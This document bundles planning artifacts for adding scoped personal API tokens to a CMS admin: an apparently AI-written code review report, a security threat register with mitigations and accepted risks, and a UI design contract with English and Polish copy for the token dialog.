- admin/tests/fixtures/lang.json
- admin/tests/views/AccountView.test.ts
- cmd/summer/runtime.go
- docs/backend/admin-spa.md
- docs/backend/users-and-permissions.md
- docs/console/introduction.md
- docs/console/setup-and-maintenance.md
- docs/examples/blog/token_scopes.go
- docs/plugins/registration.md
- docs/services/authentication.md
- modules/bouncer/context.go
- modules/bouncer/context_test.go
- modules/cabana/account_tokens.go
- modules/cabana/account_tokens_test.go
- modules/cabana/admin_openapi.go
- modules/cabana/api_tokens.go
- modules/cabana/api_tokens_test.go
- modules/cabana/contracts.go
- modules/cabana/example_tokens_test.go
- modules/cabana/http.go
- modules/cabana/phase10_csrf_test.go
- modules/cabana/registry.go
- modules/cabana/token_commands.go
- modules/cabana/token_commands_test.go
- modules/cabana/token_guard.go
- modules/cabana/token_guard_test.go
- modules/cabana/token_postgres_smoke_test.go
- modules/cabana/token_postgres_test.go
- modules/cabana/token_routes_test.go
- modules/cabana/token_scopes.go
- modules/cabana/token_scopes_test.go
- modules/cabana/token_smoke_test.go
- modules/lagoon/backend_admin_migrations.go
- modules/lagoon/backend_admin_migrations_test.go
- modules/pact/capabilities.go
- modules/party/registry.go
- modules/party/registry_test.go
- modules/phrasebook/backend/lang/en/lang.yaml
- modules/phrasebook/backend/lang/pl/lang.yaml
- scripts/check-phase16.3.sh
- ../sm-journal-plugin/controllers/api/auth.go
- ../sm-journal-plugin/controllers/api/auth_test.go
- ../sm-journal-plugin/go.mod
- ../sm-journal-plugin/journal_api_token_smoke_test.go
- ../sm-journal-plugin/journal_api_tokens_test.go
- ../sm-journal-plugin/lang/en/lang.yaml
- ../sm-journal-plugin/lang/pl/lang.yaml
- ../sm-journal-plugin/README.md
- ../sm-journal-plugin/token_scopes.go
- ../sm-journal-plugin/token_scopes_test.go
findings:
critical: 0
warning: 2
info: 2
total: 4
status: issues_found
---
# Phase 16.3: Code Review Report
**Reviewed:** 2026-10-11T11:47:43Z
**Depth:** standard
**Files Reviewed:** 59
**Status:** issues_found
## Summary
Reviewed personal API token auth (cabana composite guard, scopes, account API, CLI), admin SPA tokens UI, Journal `ResolveBackend` integration, and phase unit/gate tests from plans 01–04 SUMMARY `key-files`.
Token auth design is sound: plaintext never stored (sha256 + hint), Bearer `g15_` routed before JWT, `interactiveOnly` blocks token use on account/token/session routes, `ResolveBackend` is cookie-less, CSRF wraps token create/revoke, and Journal maps `ErrTokenScope` → 403. No Critical security defects found in the auth path.
Two Warnings: a stale CSRF coverage golden leaves `go test ./modules/cabana` red while the phase gate stays green, and the create dialog enables Submit with no scope selected.
## Warnings
### WR-01: TestPhase10Coverage golden list omits account token routes
**File:** `modules/cabana/phase10_coverage_test.go:90-124`
**Issue:** Plan 01 added `POST /account/tokens` and `DELETE /account/tokens/{id}` and updated `TestPhase10CSRF` to expect 32 unsafe routes, but `TestPhase10Coverage/every_unsafe_mounted_route_is_CSRF-walked` still asserts the pre-token golden list (message still says "expects 30 besides login"). Confirmed failing:
```text
go test ./modules/cabana -run 'TestPhase10Coverage/every_unsafe'
# FAIL: missing DELETE /account/tokens/{id} and POST /account/tokens
```
`scripts/check-phase16.3.sh` does not require `TestPhase10Coverage`, so the phase gate can pass while `go test ./modules/cabana` (and the project “green at every commit” rule) fails. CSRF behavior for the new routes is covered dynamically by `TestPhase10CSRF`; the coverage golden is the regression.
**Fix:** Add the two account-token routes to `want`, update the failure message to “32 besides login” (or count from `want`), and optionally add `TestPhase10Coverage` to `CABANA_RUN` / `CABANA_REQUIRE` in `scripts/check-phase16.3.sh`.
```go
want := []string{
"DELETE /account/avatar",
"DELETE /account/tokens/{id}",
// ...
"POST /account/avatar",
"POST /account/tokens",
"POST /auth/login",
// ...
}
```
### WR-02: Create dialog Submit enabled with zero scopes selected
**File:** `admin/src/components/account/ApiTokenCreateDialog.vue:63-64`
**Issue:** `canSubmit` only requires that the picker finished loading with a non-empty catalog; it does not require `checked` to contain at least one scope. Users can click Create with nothing selected, hit a 422, then get focus moved to scopes. Server validation is correct; the client control still presents an enabled primary action for an invalid form.
**Fix:** Include a selection check (and keep busy/loading/failure gates):
```ts
const canSubmit = computed(
() =>
!scopesLoading.value &&
!scopesFailed.value &&
scopes.value.length > 0 &&
selectedScopes().length > 0 &&
!busy.value,
)
```
(Or derive from `checked.value.size` / `starChecked` equivalently.)
## Info
### IN-01: last_used_at in-process debounce stores success before the DB write
**File:** `modules/cabana/api_tokens.go:277-289`
**Issue:** `stampLastUsed` writes `lastStamp` before `StampLastUsed` returns. A failed UPDATE suppresses retries for up to a minute in that process (SQL also gates by minute; only the in-memory fast path is affected).
**Fix:** Store into `lastStamp` only after a nil error, or delete the map entry on failure.
### IN-02: Create-dialog scope checkboxes lack associated accessible names beyond the wrapping label
**File:** `admin/src/components/account/ApiTokenCreateDialog.vue:491-517`
**Issue:** Scope rows use a wrapping `<label>` (good) but the checkbox has no `aria-describedby` linking the description text; screen-reader users get the visible label text via the label association, which is acceptable. Optional improvement: wire description ids for longer scope blurbs.
**Fix:** Optional only — add stable ids on description spans and `aria-describedby` on the inputs if UX audit wants richer announcements.
---
_Reviewed: 2026-10-11T11:47:43Z_
_Reviewer: Claude (msd-code-reviewer)_
_Depth: standard_

View File

@@ -0,0 +1,101 @@
---
phase: "16.3"
slug: "backend-admin-personal-api-tokens-with-scopes"
status: verified
# threats_open = count of OPEN threats at or above workflow.security_block_on severity (the blocking gate)
threats_open: 0
asvs_level: 1
created: "2026-10-12"
---
# Phase 16.3 — Security
> Per-phase security contract: threat register, accepted risks, and audit trail.
---
## Trust Boundaries
| Boundary | Description | Data Crossing |
|----------|-------------|---------------|
| client → admin API | Authorization header (JWT or g15_ token) and cookie; untrusted | credentials |
| client → plugin routes via ResolveBackend | Bearer value only; plugin routes have no CSRF check | credentials |
| plugin code → cabana boot | plugins declare token scopes and permissions compiled at boot | scope definitions |
| operator → CLI | runs with database access; may mint for any user | plaintext token (stdout once) |
| database → process | token rows; only hashes stored | sha256 hash, 4-char hint |
| server → SPA | the 201 create response carries the plaintext once | plaintext token |
| SPA → browser storage, clipboard | plaintext stays in component memory; clipboard is user-initiated | plaintext token |
| server data → DOM | token names and plugin scope labels rendered as text | user/plugin strings |
| agent → Journal API | Bearer JWT or g15_ token; untrusted | credentials |
| executor → git origin | tags and branches read by other repositories | release refs |
| tests → databases, network | throwaway containers only; no external servers | test data |
---
## Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation | Status |
|-----------|----------|-----------|----------|-------------|------------|--------|
| T-16.3-01 | Spoofing | compositeGuard token branch | high | mitigate | `wellFormedAPIToken` (cabana/api_tokens.go:59) before DB; crypto/rand mint; `subtle.ConstantTimeCompare` on hash (token_guard.go:93); owner reloaded per request | closed |
| T-16.3-02 | Information Disclosure | backend_api_tokens | medium | mitigate | `TokenHash` is `json:"-"`, only `token_hint` exposed (api_tokens.go:29-30) | closed |
| T-16.3-03 | Information Disclosure | create response, logs | high | mitigate | `logTokenAuth` logs outcome, method, path, remote, admin_id, token_id only — no Authorization value (token_guard.go:226-247) | closed |
| T-16.3-04 | Elevation of Privilege | cabana.Allows | high | mitigate | Scoped branch runs before the IsSuperuser/empty shortcut (contracts.go:201-206); `allowsUnderScope` + `ownerHas` | closed |
| T-16.3-05 | Elevation of Privilege | account, token, refresh, logout routes | high | mitigate | `interactiveOnly` 403 `interactive_only` (token_guard.go:151), wrapped outside `requireAjax` (http.go:254) | closed |
| T-16.3-06 | Spoofing / Tampering (CSRF) | token transport, ResolveBackend | high | mitigate | Token branch reads only `Authorization: Bearer` (token_guard.go:141); `ResolveBackend` requires a Bearer and uses the cookie-less resolver (token_guard.go:196) | closed |
| T-16.3-07 | Elevation of Privilege | owner loading | medium | mitigate | `g.users.FindByID` per request via `lazyBackendUsers` (token_guard.go:101, http.go:231) | closed |
| T-16.3-08 | Elevation of Privilege | issueAPIToken (API and CLI) | medium | mitigate | `issueAPIToken` runs `validateTokenRequest` against the registry before insert (api_tokens.go:169) | closed |
| T-16.3-09 | Denial of Service | last_used_at writes | low | mitigate | `stampThrottle` + conditional UPDATE (api_tokens.go:267-273) | closed |
| T-16.3-10 | Denial of Service | invalid token floods | low | accept | See Accepted Risks AR-01 | closed |
| T-16.3-11 | Tampering | scope registration | medium | mitigate | Boot refuses reserved, invalid-method and malformed scopes (token_scopes.go:114, :138) | closed |
| T-16.3-12 | Repudiation | revoke | low | mitigate | Soft revoke stores `revoked_at`/`revoked_by` (api_tokens.go:220; CLI nil at token_commands.go:193); `admin.auth` events | closed |
| T-16.3-13 | Elevation of Privilege | routes outside Allows | high | mitigate | `tokenRouteGate` on field types and markdown preview (field_type.go:870, field_markdown.go:77); route classification test token_routes_test.go | closed |
| T-16.3-14 | Information Disclosure | ApiTokenCreateDialog plaintext | high | mitigate | Dialog-local `plaintext` ref cleared on close (line 87) and `onBeforeUnmount` (line 345); no storage/console/v-html/router use in components/account | closed |
| T-16.3-15 | Information Disclosure | show-once step | low | accept | See Accepted Risks AR-02 | closed |
| T-16.3-16 | Tampering (XSS) | token names, scope labels | medium | mitigate | No `v-html` in components/account; text interpolation only | closed |
| T-16.3-17 | Elevation of Privilege | scope picker | low | mitigate | SPA reads `GET /account/tokens/scopes`; server re-validates on create (T-16.3-08) | closed |
| T-16.3-18 | Elevation of Privilege | Journal ownership branches | high | mitigate | sm-journal-plugin controllers/api/auth.go: every principal from `cabana.ResolveBackend(app, r, "golem15.journal.*")`; journal_api_tokens_test.go matrix | closed |
| T-16.3-19 | Elevation of Privilege | journal:read on write routes | high | mitigate | `journal:read` declares GET/HEAD only (journal token_scopes.go:23); guard `methodFilterScopes` on `r.Method` (token_guard.go:110, token_scopes.go:378) | closed |
| T-16.3-20 | Spoofing / Tampering (CSRF) | Journal write routes | high | mitigate | Journal uses Bearer-only `ResolveBackend` (see T-16.3-06) | closed |
| T-16.3-21 | Information Disclosure | Journal error bodies | low | mitigate | `resolveError` writes only the PHP constants (`Insufficient permissions` / auth required) | closed |
| T-16.3-22 | Tampering / Repudiation | tag and pushes | high | mitigate | Human release checkpoint in 16.3-03; v0.1.21 tagged after v0.1.20, no moved tags | closed |
| T-16.3-23 | Elevation of Privilege | code-declared role grants on Journal API | low | accept | See Accepted Risks AR-03 | closed |
| T-16.3-24 | Repudiation (false green) | phase gate | medium | mitigate | scripts/check-phase16.3.sh fail-closed detectors, `--self-test`, NOT RUN postgres reporting | closed |
| T-16.3-25 | Tampering (security regression) | Allows, guard, route gates, plaintext | high | mitigate | token_scopes/guard/routes/account/commands tests, SPA backstops, Journal token matrix in the gate | closed |
| T-16.3-26 | Tampering | test isolation | low | mitigate | Stubs, httptest, happy-dom; testcontainers for Postgres | closed |
| T-16.3-SC | Tampering | npm/pip/cargo installs | high | mitigate | No packages installed in any plan; committed lockfiles and go.sum; swag pinned v1.16.6 | closed |
*Status: open · closed · open — below high threshold (non-blocking)*
*Severity: critical > high > medium > low — only open threats at or above workflow.security_block_on count toward threats_open*
*Disposition: mitigate (implementation required) · accept (documented risk) · transfer (third-party)*
---
## Accepted Risks Log
| Risk ID | Threat Ref | Rationale | Accepted By | Date |
|---------|------------|-----------|-------------|------|
| AR-01 | T-16.3-10 | Format check precedes an indexed unique lookup; 160-bit secrets are not guessable; the admin API has no throttle bucket beyond login, so no new one is added | Plan 16.3-01 threat model (user-approved plan) | 2026-10-12 |
| AR-02 | T-16.3-15 | Full token shown once by design (UI-SPEC §5) so the user can verify it; overlay clicks cannot close the step, closing before copying asks first | Plan 16.3-02 threat model (user-approved plan) | 2026-10-12 |
| AR-03 | T-16.3-23 | Honouring code-declared role grants on the Journal API is the intended fix (the admin API already honours them); documented in the Journal README as a behaviour change | Plan 16.3-03 threat model (user-approved plan) | 2026-10-12 |
*Accepted risks do not resurface in future audit runs.*
---
## Security Audit Trail
| Audit Date | Threats Total | Closed | Open | Run By |
|------------|---------------|--------|------|--------|
| 2026-10-12 | 27 | 27 | 0 | msd-secure-phase (orchestrator, ASVS L1 grep-depth; auditor skipped per short-circuit rule) |
| 2026-10-12 | 27 | 27 | 0 | msd-secure-phase re-audit (State A): no changes to guarded code since b519c9c; register unchanged |
---
## Sign-Off
- [x] All threats have a disposition (mitigate / accept / transfer)
- [x] Accepted risks documented in Accepted Risks Log
- [x] `threats_open: 0` confirmed
- [x] `status: verified` set in frontmatter
**Approval:** verified 2026-10-12

View File

@@ -0,0 +1,367 @@
---
phase: "16.3"
slug: "backend-admin-personal-api-tokens-with-scopes"
status: approved
reviewed_at: "2026-10-11"
shadcn_initialized: false
preset: none
created: "2026-10-10"
---
# Phase 16.3 — UI Design Contract
> Visual and interaction contract for frontend phases. Generated by msd-ui-researcher, verified by msd-ui-checker.
This phase adds one surface to the existing admin SPA (`admin/`): an **API tokens** card on the My account page (`AccountView.vue`, route `/account`). The card lists the signed-in user's own tokens, creates a token in a two-step dialog (form, then show-once plaintext), and revokes tokens (D-16). There is no other screen: no superuser view and no backend-user management screen (deferred). The CLI (`admin:token:*`, D-19) has no visual contract beyond its stdout rule in CONTEXT.md.
The SPA already has a complete design system: Direction C v2 (`.planning/phases/10-admin-vue-spa/design/README.md`), implemented as Tailwind 4 `@theme` tokens in `admin/src/styles/main.css` and built on Reka UI primitives. **This contract adds no new tokens, colours, fonts, radii or shadows.** Every value below reuses an existing token or copies a class string from an existing component (`AccountView.vue`, `RelationPickerModal.vue`, `ConfirmDialog.vue`, `PermissionEditorField.vue`, `CheckboxField.vue`, `Button.vue`, `control.ts`).
Sources: 16.3-CONTEXT.md D-06, D-08, D-09, D-11, D-16, D-17, D-18 (locked); Phase 12.2 UI-SPEC (approved house conventions for dialogs, chips, alert blocks, skeletons and copy); the codebase scan listed above; `modules/phrasebook/backend/lang/{en,pl}/lang.yaml` (`myaccount.*`, `form.*`).
---
## Design System
| Property | Value |
|----------|-------|
| Tool | none (no shadcn; Vue 3 SPA with its own Direction C system; the shadcn gate does not apply to a Vue codebase with an established system, same ruling as Phases 10.1, 12.1, 12.2) |
| Preset | not applicable |
| Component library | Reka UI 2.9.10 (headless primitives, the Vue port of Radix) plus the local components in `admin/src/components/` |
| Icon library | `@lucide/vue` 1.17.0 (named imports only; 16px in buttons and inline notices, 14px in error and note lines, 20px in the empty-state circle) |
| Font | DM Sans 400/600/700 (self-hosted `@fontsource/dm-sans`); DM Mono 400 (`font-mono`) for the token plaintext, the token hint and scope names; `tabular-nums` on every date and time |
---
## Component Inventory
Enumerated by `node --input-type=module -e "import * as r from 'reka-ui'; console.log(Object.keys(r).length)"` (run in `admin/`) — 478 exports — reka-ui@2.9.10 — 2026-10-10.
Local components enumerated by `find admin/src/components -name '*.vue' | wc -l` — 51 components — summercms-admin@unversioned (private workspace package with no `version` field in `admin/package.json`; pinned by repo commit a04ba35) — 2026-10-10.
Icon presence verified by `node --input-type=module -e "import * as l from '@lucide/vue'; ..."` (run in `admin/`) against @lucide/vue@1.17.0 on 2026-10-10: `Plus`, `KeyRound`, `Copy`, `Check`, `Ban`, `TriangleAlert`, `CircleAlert`, `Info`, `LoaderCircle`, `X` all exported.
This table is a **non-exhaustive** list of known-good components for this phase, not a closed allowlist. Checking for another Reka export or local component is the expected path.
| Component | Import path | Notes |
|-----------|-------------|-------|
| DialogRoot, DialogPortal, DialogOverlay, DialogContent, DialogTitle, DialogDescription, DialogClose | `reka-ui` | The create-token dialog (both steps). Same parts and classes as `RelationPickerModal.vue`. Verified exported. |
| RadioGroupRoot, RadioGroupItem | `reka-ui` | The expiry segmented control. Same segmented classes as `PermissionEditorField.vue`. Verified exported. |
| AlertDialog* via ConfirmDialog | `admin/src/components/ui/ConfirmDialog.vue` + `useConfirm` from `confirm.ts` | Revoke confirmation and the "close without copying" confirmation. `AccountView` already mounts one `ConfirmDialog` bound to `useConfirm()`; reuse that instance. Do not build a second confirm. |
| Button | `admin/src/components/ui/Button.vue` | Every text button. Variants `primary` / `outline` / `ghost` / `danger`, sizes `md` (42px) / `sm` (38px). |
| `controlClass` | `admin/src/components/form/control.ts` | Border, background and padding of the name input and the plaintext input. |
| `fieldErrors`, `focusField` | `admin/src/components/form/formState.ts` | Map a 422 `error.details` to field errors and focus the first invalid field (same as `AccountView.onSave`). |
| `showToast` | `admin/src/state/useToasts.ts` | `success` toast after revoke; `danger` toasts for failures. Never carries the plaintext. |
| `t`, `tc` | `admin/src/app/i18n.ts` | All copy. No literal UI strings in the component. |
| `api` (openapi-fetch client) | `admin/src/api/client.ts` | Typed calls to the D-18 endpoints after `npm run gen:api` regenerates `schema.d.ts`; keeps the 401 refresh-and-replay. |
| Native checkbox (`size-5 shrink-0 rounded-[6px] accent-primary`) | class string from `CheckboxField.vue` | Scope picker rows and the "Show revoked tokens" toggle. Not a field-registry control: used directly. |
New code this phase creates (planner names the file): one component, suggested `admin/src/components/account/ApiTokensPanel.vue` (card, list, revoke), with the dialog either inline or in a sibling `ApiTokenCreateDialog.vue`. `AccountView.vue` renders the panel after the profile/password `<form>` and passes it the shared `confirm` from `useConfirm()`.
---
## Spacing Scale
Declared values for new layout in this phase (multiples of 4):
| Token | Value | Tailwind | Usage |
|-------|-------|----------|-------|
| xs | 4px | `gap-1` | Label-to-mono-name gap in a scope row; icon-to-text inside chips |
| sm | 8px | `gap-2` | Scope chip gap, toggle checkbox-to-label gap, row line gap, plaintext input to copy-row gap, empty-state stack gap |
| md | 16px | `gap-4`, `px-4` | Card inner stack gap, row horizontal padding, row column gap, dialog section gap, card header gap |
| lg | 24px | `p-6`, `px-6` | Dialog padding; empty-state horizontal padding |
| xl | 32px | `py-8` | Empty-state vertical padding |
| 2xl | 48px | — | Not used by new components |
| 3xl | 64px | — | Not used by new components |
**Locked user decision (2026-10-11):** these inherited Direction C values are accepted for this phase; any new layout not copied from an existing component uses the 4/8/16/24/32 scale. The user explicitly accepted the 18, 6, 10, 14, 2, 20, 28 and 12px values below (`gap-[18px]`, `gap-1.5`, `gap-2.5`, `py-3.5`, `px-[18px] py-3.5`, `mt-0.5` / `gap-0.5`, `gap-5`, `p-7`, `gap-3` / `py-3`) as locked exceptions. Re-verification treats them as locked, not as defects.
Exceptions (inherited from Direction C, `AccountView.vue` and `ConfirmDialog.vue`, binding, not new):
- card padding 28px (`p-7`) and page stack gap 20px (`gap-5`), copied from the existing account cards;
- field stack gap 18px (`gap-[18px]`) inside the dialog form, copied from the account `fieldset`;
- label-to-control gap 6px (`gap-1.5`);
- footer button gap 10px (`gap-2.5`), copied from `ConfirmDialog`;
- row vertical padding 14px (`py-3.5`), copied from the `CheckboxField` toggle card;
- alert block padding 14×18 (`px-[18px] py-3.5`), copied from the 12.2 alert block;
- segmented control inner padding 4px (`p-1`) and segment height 34px (`h-pager`), copied from `PermissionEditorField`;
- scope-row checkbox-to-text gap and dialog header gap 12px (`gap-3`), the same exception 12.2 approved for picker option rows and dialog headers; scope-row vertical padding 12px (`py-3`), copied from the `PermissionEditorField` option rows;
- 2px nudges (`mt-0.5` on the scope checkbox and notice icon, `gap-0.5` between error lines), copied from the existing error-line markup. No other off-scale spacing is introduced.
Fixed component dimensions (sizes, not spacing): 44px inputs (`h-input`), 42px / 38px buttons, 34px dialog close button, 40px empty-state icon circle, 24px chips (`h-6`), 20px checkboxes, 560px dialog max width (`max-w-[560px]`), 56px minimum scope-row height (`min-h-[56px]`), 12px skeleton bars with `rounded-[6px]`.
---
## Typography
New components use exactly four sizes. All inherit DM Sans and the 14px/1.5 base from `html` in `main.css`.
| Role | Size | Weight | Line Height | Used by |
|------|------|--------|-------------|---------|
| Body | 14px | 400 | 1.5 | Token name input, toggle label, plaintext input (DM Mono), dialog descriptions, segment labels when checked |
| Label | 14px | 600 | 1.5 | Field labels (Name, Expiration, Scopes), token name in a row, scope label in a picker row, empty-state heading, button text (existing `Button`) |
| Meta | 13px | 400 | 1.5 | Card comment, row meta line (dates), token hint (DM Mono), scope mono name in the picker, scope description, expiry preview line, error lines, copy status line, unchecked segment labels |
| Section heading | 18px | 700 | 1.5 | Card heading "API tokens": the existing `AccountView` card heading class `text-[18px] font-bold`, copied verbatim |
| Dialog title | 20px | 700 | 1.2 (`tracking-[-0.01em]`) | Dialog titles: the existing `DialogTitle` class from `RelationPickerModal.vue`, copied verbatim |
**Locked user decision (2026-10-11):** 700 heading weight inherited from Direction C is accepted for this phase; new content uses 400 and 600 only. The 700 weight appears only on the card heading (`text-[18px] font-bold`) and the dialog title (`DialogTitle` class from `RelationPickerModal.vue`), both copied verbatim. Re-verification treats this as a locked system-level exception, not a defect.
Weights: new content uses 400 and 600 only. **700 is the inherited, heading-only weight** (card heading and dialog title, both copied verbatim). Chips use 13px/600, the same as the approved 12.2 "Unsaved" chip; no 12px text is introduced. Every date and time uses `tabular-nums`. DM Mono appears only on the plaintext token, the `g15_…a1b2` hint and scope names (`journal:read`, `*`).
---
## Color
All colours are existing CSS variables; light / dark values from `main.css`. Hard-coded hex values are forbidden in new components.
| Role | Value (light / dark) | Usage |
|------|----------------------|-------|
| Dominant (60%) | `bg` #f4f6f9 / #111726, `surface` #ffffff / #182033 | Page background; the card, the dialog, inputs, list rows |
| Secondary (30%) | `subtle` #f3f5f8 / #1f283d, `border` #e6e9ef / #29334b, `border-strong` #d2d8e2 / #3a4661, `muted` #566175 / #a9b3c6, `skel` #eceff4 / #263049 | Read-only plaintext input fill, segmented control track, scope chips, empty-state circle, row dividers, dashed empty-state border, meta text, skeleton bars |
| Accent (10%) | `primary` #22304d / #fcd34d (action colour); `sel` #fdf3cf / #3a3622; `ring` rgba(252,196,40,.55) / rgba(252,211,77,.45) | See reserved list below |
| Destructive | `danger` #c62828 / #f58a8a, `danger-soft` #fdf0f0 / #3a1d24 | "Revoke token" row buttons (danger outline), the revoke confirm button, the "Expired" chip, invalid input borders, error lines, alert blocks |
Accent reserved for (exhaustive for this phase):
1. `primary` fill: the single primary button of each dialog step, "Create token" (step 1) and "Done, hide token" (step 2). The page's existing footer Save stays the page's only other primary.
2. `primary` checkbox tint (`accent-primary`): checked scope checkboxes and the "Show revoked tokens" checkbox.
3. `sel` tint: the show-once notice block in step 2, and nothing else.
4. `ring` (3px): focus-visible on every new focusable element (base style), never removed.
Accent is never used for: the "Create token" button on the card (outline), scope chips, token names, row hover, the checked expiry segment (uses `bg-surface shadow-tab`), icons, or links.
---
## Copywriting Contract
All copy is keyed in `modules/phrasebook/backend/lang/{en,pl}/lang.yaml` under a new `api_tokens:` block (`backend::lang.api_tokens.*`), next to `myaccount:`. Placeholders use `:name` syntax. Polish is the design language; English values follow. Plugin scope labels and descriptions come from the plugin's own phrasebook keys (D-01) and are rendered as delivered by the server.
### Primary CTAs and key states
| Element | Copy (EN / PL) |
|---------|----------------|
| Card heading | `api_tokens.section` "API tokens" / "Tokeny API" |
| Card comment | `api_tokens.section_comment` "Tokens let agents and integrations call the admin API as you, limited to the scopes you choose. Treat a token like a password." / "Tokeny pozwalają agentom i integracjom wywoływać API panelu w Twoim imieniu, w granicach wybranych zakresów. Traktuj token jak hasło." |
| Card button (opens dialog) | `api_tokens.create` "Create token" / "Utwórz token" (`Plus` icon) |
| Primary CTA, dialog step 1 | `api_tokens.create_submit` "Create token" / "Utwórz token"; while busy `api_tokens.creating` "Creating…" / "Tworzenie…" |
| Primary CTA, dialog step 2 | `api_tokens.done` "Done, hide token" / "Gotowe, ukryj token" |
| Empty state heading | `api_tokens.empty_title` "No API tokens yet" / "Nie masz jeszcze tokenów API" |
| Empty state body | `api_tokens.empty_body` "Create a token to let an agent or integration call the admin API as you." / "Utwórz token, aby agent lub integracja mogły wywoływać API panelu w Twoim imieniu." (the card's "Create token" button is the next step) |
| Error state (list load failed) | `api_tokens.load_failed` "The tokens could not be loaded. Refresh the page to try again." / "Nie udało się wczytać tokenów. Odśwież stronę, aby spróbować ponownie." |
| Error state (scopes load failed, dialog) | `api_tokens.scopes_failed` "The scopes could not be loaded. Close this window and try again." / "Nie udało się wczytać zakresów. Zamknij to okno i spróbuj ponownie." |
| Error state (create, non-422) | `api_tokens.create_failed` "The token could not be created. Please try again." / "Nie udało się utworzyć tokenu. Spróbuj ponownie." (danger toast; dialog stays open with input kept) |
| Error state (create 422, name) | `api_tokens.name_required` "Enter a name for the token." / "Podaj nazwę tokenu." (server message, rendered verbatim) |
| Error state (create 422, scopes empty) | `api_tokens.scopes_required` "Choose at least one scope." / "Wybierz co najmniej jeden zakres." (server message) |
| Error state (create 422, scope refused) | `api_tokens.scope_unavailable` "The scope :name is not available to you." / "Zakres :name nie jest dla Ciebie dostępny." (server message, D-17 overlap rule) |
| Error state (revoke, non-404) | `api_tokens.revoke_failed` "The token could not be revoked. Please try again." / "Nie udało się unieważnić tokenu. Spróbuj ponownie." (danger toast) |
| Error state (revoke 404) | `api_tokens.gone` "This token no longer exists. The list has been refreshed." / "Ten token już nie istnieje. Lista została odświeżona." (danger toast, list reloads) |
| Error state (clipboard refused) | `api_tokens.copy_failed` "Could not copy automatically. The token is selected: press Ctrl+C (Cmd+C on a Mac) to copy it." / "Nie udało się skopiować automatycznie. Token jest zaznaczony: naciśnij Ctrl+C (Cmd+C na Macu), aby go skopiować." |
### Destructive actions
| Action | Confirmation approach | Copy (EN / PL) |
|--------|----------------------|----------------|
| Revoke a token (row button) | ConfirmDialog, `danger`, with the revoke request run as the confirm action (`confirm.ask(request, run)`), so the confirm button shows the busy spinner until it settles | Row button: `api_tokens.revoke` "Revoke token" / "Unieważnij token", aria-label `api_tokens.revoke_named` "Revoke token: :name" / "Unieważnij token: :name". Confirm message: `api_tokens.revoke_confirm` "Revoke the token “:name”? Apps and agents using it lose access at once. This cannot be undone." / "Unieważnić token „:name”? Aplikacje i agenci, którzy go używają, natychmiast stracą dostęp. Tej operacji nie można cofnąć." Confirm button: `api_tokens.revoke_submit` "Revoke token" / "Unieważnij token". Success toast: `api_tokens.revoked` "Token revoked" / "Unieważniono token". |
| Close step 2 before copying (Esc or the close button, while the token was never copied) | ConfirmDialog, `danger`, rendered above the token dialog | `api_tokens.close_uncopied_confirm` "Close without copying? You won't be able to see this token again." / "Zamknąć bez kopiowania? Tego tokenu nie będzie można już zobaczyć." Confirm button: `api_tokens.close_uncopied_submit` "Close and hide token" / "Zamknij i ukryj token". Cancel keeps the dialog open on step 2. |
| Close step 1 with input typed | No dialog: nothing is stored yet and the form is cheap to refill | — |
### Create dialog copy
| Element | Copy (EN / PL) |
|---------|----------------|
| Step 1 title | `api_tokens.create_title` "New API token" / "Nowy token API" |
| Step 1 description | `api_tokens.create_description` "Pick a name, an expiry and the scopes this token may use. It never gets more access than your own account." / "Wybierz nazwę, termin ważności i zakresy tokenu. Token nigdy nie ma szerszego dostępu niż Twoje konto." |
| Name label / placeholder / comment | `api_tokens.name` "Name" / "Nazwa"; `api_tokens.name_placeholder` "e.g. Blog agent" / "np. Agent bloga"; `api_tokens.name_comment` "Helps you recognise the token in the list." / "Pomoże rozpoznać token na liście." |
| Expiration label | `api_tokens.expires` "Expiration" / "Ważność" |
| Expiration segments (D-08) | `api_tokens.expires_30` "30 days" / "30 dni"; `api_tokens.expires_90` "90 days" / "90 dni"; `api_tokens.expires_365` "365 days" / "365 dni"; `api_tokens.expires_never` "Never" / "Bez terminu" |
| Expiry preview (dated choice) | `api_tokens.expires_on` "Expires on :date." / "Wygasa :date." |
| Expiry preview (never) | `api_tokens.expires_never_note` "This token never expires. Revoke it when you no longer need it." / "Ten token nie wygasa. Unieważnij go, gdy przestanie być potrzebny." |
| Scopes label | `api_tokens.scopes` "Scopes" / "Zakresy" |
| Framework scope `*` (D-04, D-17) | `api_tokens.scope_all` "Full access" / "Pełny dostęp"; `api_tokens.scope_all_description` "Everything you can do in the admin. Your account settings and tokens still need a signed-in session." / "Wszystko, co możesz zrobić w panelu. Ustawienia konta i tokeny nadal wymagają zalogowania." |
| Framework scope `admin:read` (D-04) | `api_tokens.scope_admin_read` "Read-only, whole admin" / "Tylko odczyt, cały panel"; `api_tokens.scope_admin_read_description` "View everything you can see in the admin, without making changes." / "Podgląd wszystkiego, co widzisz w panelu, bez wprowadzania zmian." |
| Read-only chip (scope whose methods are only GET/HEAD) | `api_tokens.read_only` "Read-only" / "Tylko odczyt" |
| Full-access note (when `*` is checked) | `api_tokens.scope_all_includes` "Full access already includes every other scope." / "Pełny dostęp obejmuje wszystkie pozostałe zakresy." |
| Step 2 title | `api_tokens.created_title` "Copy your new token" / "Skopiuj nowy token" |
| Step 2 notice | `api_tokens.created_notice` "This is the only time the token is shown. Copy it now and store it somewhere safe. If you lose it, revoke it and create a new one." / "Token jest widoczny tylko teraz. Skopiuj go i przechowuj w bezpiecznym miejscu. Jeśli go zgubisz, unieważnij go i utwórz nowy." |
| Plaintext input label (sr-only) | `api_tokens.token_label` "New token" / "Nowy token" |
| Copy button / copied state | `api_tokens.copy` "Copy token" / "Kopiuj token" (`Copy` icon); after success `api_tokens.copied` "Copied" / "Skopiowano" (`Check` icon) for 2 s |
| Copy announcement (polite live region) | `api_tokens.copied_announce` "Token copied to the clipboard." / "Skopiowano token do schowka." |
| Dialog dismiss button (step 1) | `api_tokens.create_cancel` "Discard token" / "Odrzuć token" (new key; closes the dialog and discards the typed input; the generic `form.cancel` is not used here) |
| Dialog close button aria | existing `form.close` |
### List copy
| Element | Copy (EN / PL) |
|---------|----------------|
| Show-revoked toggle | `api_tokens.show_revoked` "Show revoked tokens" / "Pokaż unieważnione tokeny" |
| Meta: created | `api_tokens.created_at` "Created :date" / "Utworzono :date" |
| Meta: last used / never | `api_tokens.last_used` "Last used :date" / "Ostatnio użyto :date"; `api_tokens.never_used` "Never used" / "Nieużywany" |
